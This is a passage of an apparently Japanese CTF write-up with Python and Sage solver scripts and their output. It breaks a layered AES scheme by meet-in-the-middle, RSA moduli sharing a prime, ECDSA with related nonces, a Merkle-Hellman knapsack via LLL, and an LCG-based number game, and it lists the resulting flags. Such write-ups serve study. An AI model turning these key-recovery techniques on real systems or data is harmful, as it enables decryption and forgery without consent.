iv=b'B' * 16) encrypted_msg = cipher2.decrypt(encrypted_msg) cts = {} for c in product(range(256), repeat=3): k0 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]]) key0 = md5(k0).digest() cipher0 = AES.new(key0, mode=AES.MODE_ECB) ct = cipher0.encrypt(msg) cts[ct] = key0 for c in product(range(256), repeat=3): k1 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]]) key1 = md5(k1).digest() cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16) pt = cipher1.decrypt(encrypted_msg) if pt in cts: key0 = cts[pt] break print('[+] keys[0]:', key0) print('[+] keys[1]:', key1) print('[+] keys[2]:', aes_key_alice) cipher0 = AES.new(key0, mode=AES.MODE_ECB) cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16) cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16) flag1 = cipher2.decrypt(encrypted_flag) flag1 = cipher1.decrypt(flag1) flag1 = cipher0.decrypt(flag1).decode() print('[+] flag1:', flag1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('34.123.4.102', 8000)) data = recvuntil(s, b'\n').rstrip() print(data) public_key = int(data.split(' ')[-1]) aes_key_bob = md5(unhexlify(hex(public_key)[2:])).digest() cipher_alice = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16) cipher_bob = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16) code = cipher_alice.decrypt(encrypted_flag) code = cipher_bob.encrypt(code).hex() data = recvuntil(s, b': ') print(data + str(g)) s.sendall(str(g).encode() + b'\n') data = recvuntil(s, b': ') print(data + code) s.sendall(code.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) encrypted_flag2 = unhexlify(eval(data.split(' ')[-1])) cipher0 = AES.new(key0, mode=AES.MODE_ECB) cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16) cipher2 = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16) flag2 = cipher2.decrypt(encrypted_flag2) flag2 = cipher1.decrypt(flag2) flag2 = cipher0.decrypt(flag2) flag2 = flag2[:flag2.index(b'}') + 1].decode() print('[+] flag2:', flag2) flag = flag1 + flag2 print('[*] flag:', flag)
実行結果は以下の通り。
> Here is my public key: 119411071723122444381767470125626227123727573250251216315907714124627930184475306091652961747380924296747933021923661790680670240155231816516457033069067832914869305822175715488571133446537348467810750635631617119618614773943953032009463487011337635599632404459399646451549811120239365019103442516813610951801 > Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977 > Your output: b'0923dc6a3433a89a73b6381230bc88b16fe6b5425fc1ba76e607492f2442677e' b'eafe54520e64f7b5913c76c471d215711e2760073a68339fe548876a406243efd009e25fc366078d8bc295a1251d103c' [+] keys[0]: b'\xe6\xc0\xde\xc1\xe4{\x16J\xe1\x98\x10\xcb\xe3*\x15\xa8' [+] keys[1]: b'\xf4F\xe5\xb5\xa8H\xa2\xd0\xb1g\xc2&B\xea\xd4\x9b' [+] keys[2]: b'\xaf\xb3\x03\xa3j\x96\x1e\x88(f)M0\tgO' [+] flag1: accessdenied{m4n_1n_th3_m1ddl3_4 > Here is my public key: 40595252360241388289026322523804296719193626569779778799622242724916591034484779950923843218836200063079971977052451558576275835257579001823217941624228065248765313874759534608569366171847652834851759226823394299165109937870382024277651319709551109061342308442284963681389013259877806922522157082814880149336 > Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977 > Give me the code(encrypted hex): ea1f10c77d31d60bc9ebdc544df19daf98aa59d4f77dea6e1a9fc2e1ec17ec62 > Your output: b'5d6ec4cb930c9d46181c0b77421d5f05ca82d6b823a5278d17eed70bb8ef445d2613eaf67c6c32e240ef4837f5852aee' b'5f64ba84dfb873557b84ab19ff1ef1ffcc34805f9f580db5ed5e7f9c7787e2e3ca3dae232e595f8cdbf2d0a4c342fa10' [+] flag2: nd_m33t_1n_th3_m1ddl3!_931a52e4} [*] flag: accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}
accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}
RSA-3 (Crypto)
N1とN2の公約数を求めれば、素因数分解でき、復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * N1 = 18266349196400324728796632198426724065863341515460128017379722167088811564142208540762217975696666190887534687486334974478770458134458646785682182438231047535912495200486295399237083743354006572775979196273345894016812147421648391560534928953791045301656072851030393661346227010573392017192092871743599780733618974144278058844414678104713310777338685821340236864598500469843212331330335171804328016140678014295178395686821469446312308097781506852568269309368807576215036130913554259546509277614896420588483929704110258122427731934119749960465772609969329231395097168664992720797902433454838999670183197496533599372453 e1 = 65537 ct1 = 6873813036805706192019236826822502457972771100457517090756917047060847774848540323350759250580238758998913544271128101335276213320240302206398066922772200444602226203653559017733029810367927075606003863202964202725297461799495530697341270915140044964898303984854574497628349362668695378519684693264593494716972185326436905495762497116849607924837994943127697112124217181161062684698865533001086211217060178202980704668203486578672364578669469712587269077695001297138207491663356223994825422557742042083843727850238507161657755737436196961552942941154267260840237025593539923533367161391402240798650010287812581011106 N2 = 24659767524526013018768938973883991511377669248630968999008468264428208747461052247749924232027616129566843290411914770222062361142014390330463814302544910044772535448949923181736285951382305617780092296934319600643083108399436503551987425616568398265868184384255524744326852580109993750455923648308457300741311644056806840080239266629430170801800674692923486070263947659308964150022391540089059138911526148899685247042835949241530880572488161927637699425020944697998483747469309576045917038431425710502056969197916002745593176785614139365197372746789456581367558816039809574657471032143676431357391125588624599050493 e2 = 65537 ct2 = 11715772208083492702167997175167454009301340692399196360593824415816062365292031273728996255749695189978948242292097965040268601546052250584302206331424224398934005270192769085862845465718216946900897219973683677713043297722976307588263004621450861659350169718646844558379707749844428304916965303036455448719228506667752535085465025614399994834368259311922477097878143154258042140694172977284700008301528490157090476538427961683829505682126281348126157784828204887638985638647829395157101409725453166939388563809584382420835218557337222313577592617066209235421605768519128885685600282422644017925260843832358253267634 p = GCD(N1, N2) q1 = N1 // p q2 = N2 // p phi1 = (p - 1) * (q1 - 1) phi2 = (p - 1) * (q2 - 1) d1 = inverse(e1, phi1) d2 = inverse(e2, phi2) m1 = pow(ct1, d1, N1) m2 = pow(ct2, d2, N2) flag1 = long_to_bytes(m1).decode() flag2 = long_to_bytes(m2).decode() flag = flag1 + flag2 print(flag)
accessdenied{r3us31ng_5tuff_1s_n0t_f0r_crypt0gr4phy_69c36434}
ECC (Crypto)
3個のシグネチャの関係を式にする。
msg1 = b"crypto means cryptography" msg2 = b"may the curve be with you" msg3 = b"the annoying fruit equation" m1: msg1のsha256ハッシュ値を数値化 m2: msg2のsha256ハッシュ値を数値化 m3: msg3のsha256ハッシュ値を数値化 s1 = pow(k, -1, n) * (m1 + r1 * d) % n s2 = pow(k + 1, -1, n) * (m2 + r2 * d) % n s3 = pow(k + 2, -1, n) * (m3 + r3 * d) % n ↓ k * s1 % n = (m1 + r1 * d) % n (k+1) * s2 % n = (m2 + r2 * d) % n (k+2) * s3 % n = (m3 + r3 * d) % n ↓ k * (k + 2) * s1 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) % n (k + 1) ** 2 * s2 ** 2 % n = (m2 + r2 * d)**2 % n ↓ k * (k + 2) * s1 * s2**2 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) * s2**2 % n (k + 1) ** 2 * s1 * s2**2 * s3 % n = (m2 + r2 * d)**2 * s1 * s3 % n ↓ s1 * s2**2 * s3 % n = ((m2 + r2 * d)**2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2**2) % n
剰余環nの上で、dの2次方程式になる。sageで解き、フラグの形式に合うものを探す。
#!/usr/bin/sage import tinyec.registry as reg from hashlib import sha256 from Crypto.Util.number import * def hashInt(msg): h = sha256(msg).digest() return int.from_bytes(h, 'big') msg1 = b'crypto means cryptography' msg2 = b'may the curve be with you' msg3 = b'the annoying fruit equation' m1 = hashInt(msg1) m2 = hashInt(msg2) m3 = hashInt(msg3) with open('out.txt', 'r') as f: params = f.read().splitlines() sig1 = eval(params[0].split(' = ')[1]) sig2 = eval(params[1].split(' = ')[1]) sig3 = eval(params[2].split(' = ')[1]) r1, s1 = sig1 r2, s2 = sig2 r3, s3 = sig3 C = reg.get_curve("secp256r1") n = C.field.n PR.<d> = PolynomialRing(Zmod(n)) f = (m2 + r2 * d)^2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2^2 - s1 * s2^2 * s3 f = f.monic() coeff = f.coefficients(d) a = coeff[-1] b = coeff[-2] c = coeff[-3] discriminant = b^2 - 4 * a * c discriminant_root = Mod(discriminant, n).sqrt() ds = [] for i in [-discriminant_root, discriminant_root]: d = (((- b + i) % n) * inverse(2, n)) % n flag = long_to_bytes(int(d)) if flag.startswith(b'accessdenied{'): print(flag.decode()) break
accessdenied{ECDSA_w34k_RNG}
Merkle is a good man (Crypto)
Merkle-Hellmanナップサック暗号になっていると思われるので、LLLを使って復号する。
#!/usr/bin/sage from Crypto.Util.number import long_to_bytes def is_valid_vector(b): if b[0] != 0: return False for i, x in enumerate(b): if i != 0 and abs(x) != 1: return False return True with open('enc.txt', 'r') as f: ct = int(f.read()) with open('public_key.txt', 'r') as f: pubkey = eval(f.read()) matrix_size = len(pubkey) + 1 m_list = [ [0 for _ in range(matrix_size)] for _ in range(matrix_size) ] for i in range(matrix_size - 1): m_list[i][0] = pubkey[i] m_list[i][i + 1] = 2 m_list[matrix_size - 1][i + 1] = -1 m_list[matrix_size - 1][0] = -ct llled = Matrix(ZZ, m_list).LLL() flag_vecs = [] for basis in llled: if is_valid_vector(basis): flag_vecs.append(basis) for v in flag_vecs: bin_flag = "" for _bit in reversed(v[1:]): c = ('1' if _bit == 1 else '0') bin_flag = c + bin_flag flag = long_to_bytes(int(bin_flag, 2)).decode() print(flag)
accessdenied{m3rkl3_h3llm4n_crypt0_1s_w34k_095403ff}
Guess The Number (Crypto)
$ nc 35.202.65.196 5337 sh: 1: figlet: not found Here are all the number you want 195012074203 14191883467 28388869810 237439166524 132603465142 44662723604 232913238347 41041846467 241264749390 151643570371 Guess the 19909 number
乱数アルゴリズムはLCGと推測して、確認する。以下のパラメータで計算は合う。
a = 351047 b = 61417183 m = 322125293417
このことを前提に目的の数字を算出する。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * from functools import reduce def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def calc_nth_num(a, b, m, ini, nth): num = ini for i in range(nth): num = (a * num + b) % m return num s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('35.202.65.196', 5337)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) nums = [] for _ in range(10): data = recvuntil(s, b'\n').rstrip() print(data) nums.append(int(data)) delta = [d1 - d0 for (d0, d1) in zip(nums, nums[1:])] m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])] m = reduce(GCD, m_mul) a = (delta[1] * inverse(delta[0], m)) % m b = (nums[1] - a * nums[0]) % m for i in range(9): assert (a * nums[i] + b) % m == nums[i+1] data = recvuntil(s, b'\n').rstrip() print(data) nth = int(data.split(' ')[2]) num = calc_nth_num(a, b, m, nums[0], nth - 1) print(num) s.sendall(str(num).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
sh: 1: figlet: not found Here are all the number you want 197109931075 82132477189 213268602064 230815372719 292152778630 139247158082 106013892704 79654425427 38923933150 219325762927 Guess the 9609 number 14883967319 accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}
accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}
Feedback (Misc)
アンケートに答えたら、フラグが表示された。
accessdenied{th4nk_y0u_f0r_y0ur_v4lu3bl3_f33db4ck_27cf5db9}